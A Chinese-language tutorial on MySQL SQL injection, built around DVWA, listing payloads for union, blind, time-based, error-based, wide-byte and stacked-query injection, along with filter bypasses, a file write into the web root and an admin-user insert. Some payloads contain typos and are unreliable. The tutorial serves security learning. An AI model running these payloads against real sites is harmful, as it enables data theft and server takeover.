0x00 SQL注入介绍

SQL注入攻击是最为常见的Web安全漏洞之一,常年霸占OWASP第一名,可见其危害十分大。
SQL注入是由于过滤不严,将构造的SQL语句插入或添加到应用(用户)的输入参数中,从而可以非法执行数据库命令的攻击,可以获取网站数据,严重的会直接控制服务器。

0x01 SQL注入原理

本篇文章就MySQL为例,其他数据库在这里就不做扩展了。所以说学习注入,首先要学好数据库语言。

我们来看DVWA中,SQL注入漏洞的关键代码
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' ";
这里是连接数据库的,在数据库执行的查询语句,我们构造参数插入SQL语句。
例如
?id=1' or 1=1 --
语句就变成了
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 -- ' ";
成功插入了 or 1=1,这样就会查询users表里所有的name

0x02 SQL注入技巧

注释

注释在SQL注入中是必不可少的,它可以帮助构造SQL语句,包括
行间注释:

  • --(注意前后有空格)
  • #

行内注释:

  • /*注释内容*/ 在空格被过滤时,可以利用其替换空格
  • /*!注释内容*/ 可以利用其测试数据库版本

编码

ASCII() 返回字符的ASCII码值
CHAR() 把整数转化为对应字符
HEX() UNHEX() 16进制编码解码

常用方法

USER() 当前数据库用户
database() 当前数据库名
version() 数据库版本
@@datadir 数据库存储数据路径
@@global.version_complie_os FROM mysql.user 操作系统版本
concat() 连接多条数据
group_concat() 与concat()类似
load_file() 读取文件
substr() mid() substring() 截取字段
information_scheam MySQL自带的数据库,包含其他所有数据库信息

绕过

为了保证安全性,防止SQL注入发生,程序员会做一些代码层的防护,比如过滤参数。然而有些过滤是可以进行绕过的,例如

  • 空格被过滤,可以利用+,(),/**/绕过
  • 单引号被过滤,可以对数据进行编码
  • 查询语句被过滤,可以利用大写,或者selselectect尝试绕过
  • ||&&代替andor
  • 字符串黑名单,可以利用concat('a','d','m','i','n')绕过

除此之外还有很多

0x03 SQL注入方法

判断注入点

在注入开始之前,需要先判断注入点存在。找到网站与数据库连接的地方,例如用户登录,信息搜索等。在参数后加'and 1=1and 1=2 等进行测试

一般注入

判断返回字段个数
order by 2 --
查询当前数据库名及数据库版本
and 1=2 UNION SELECT database(),version() --
查询数据库
and 1=2 UNION SELECT 1,schema_name FROM information_schema.schemata --
查询表
and 1=2 UNION SELECT 1,table_name FROM information_scheam.tables WHERE table_schema=数据库名的十六进制编码 --
查询列
and 1=2 UNION SELECT 1,column_name FROM information_schema.columns WHERE table_name=表名的十六进制编码 --
查询字段
and 1=2 UNION SELECT 1,字段 FROM 表名 --
判断是否具有读写权限
and (select count(*) from mysql.user)>0/*
写文件
union select 1,char(xx,xx,xx) into outfile '/var/www/html/1.php'/*

布尔盲注

在不返回字段 没有回显时,需要用到盲注

猜解数据库长度
and length(database())>1 #
写脚本fuzz数据库名
and substr(database(),%d,1)='%s' %%23
过滤了单引号的话可以使用ascii()
and ascii(substr(database(),%d,1)=%d %%23)
利用正则REGEXP
1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);
接下来查询表,字段结合一般注入,方法相同

时间盲注

利用函数将返回时间延迟,从而得知语句查询是否正确

sleep()延时
if(ascii(substr(database(),1,1))>115,0,sleep(5)) #
benchmark()延时,是将后面的函数执行多次,比较占用CPU,进行测试时不推荐用这种方法
UNION SELECT IF(SUBSTRING(Password,1,1)=’a’,BENCHMARK(100000,SHA1(1)) User,Password FROM mysql.user WHERE User = 'root'

报错注入

通过构造使信息从错误提示中回显

利用floor()
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a
对xml数据进行查询和修改的xpath函数,xpath语法错误
updatexml(1,concat(0x3a,(select user())),1)
利用extractvalue()
extractvalue(1,concat(0x7e,(select @@version),0x7e))

报错函数,可以利用他们获取数据库名和表名
https://dev.mysql.com/doc/refman/5.7/en/gis-mysql-specific-functions.html

宽字节注入

如果php设置了编码
mysql_query("set NAMES'gbk'",$conn);
就会引发宽字节注入,例如 %df' 会被addslashes()转义为 %df\' url编码后为%df%5c%27 在gbk编码下认为其是一个宽字节 縗’
就会产生注入

PDO堆查询注入

如果php使用PDO连接数据库,便可以使用堆查询,可以同时执行多个语句
SELECT * FROM Users WHERE ID=1 AND 1=0; INSERT INTO Users(username,password,priv) VALUES ('xxx', '123456','admin');

还有其他注入这里就不一一列举了。上述提到的注入,也有很多不同的方法,因为现实环境、代码的不同,注入语句也不尽相同。

0x04 SQL注入常用工具

  • sqlmap,自动化注入,自带很多绕过脚本,家常必备神器。
  • burpsuit,不多说了。
  • hackbar,Firefox插件,post注入很好用。
  • Pangolin,SQL注入漏洞测试安全工具。

0x05 SQL注入防护

既然SQL注入影响这么大,那么我们如何防护呢?

  • 定期进行代码审计,从根本上面解决SQL注入攻击。
  • 一切的用户输入都是有害的,对用户的输入进行严格过滤。
  • 使用SQL注入防护软件防护。
  • 针对企业推荐使用硬件防火墙。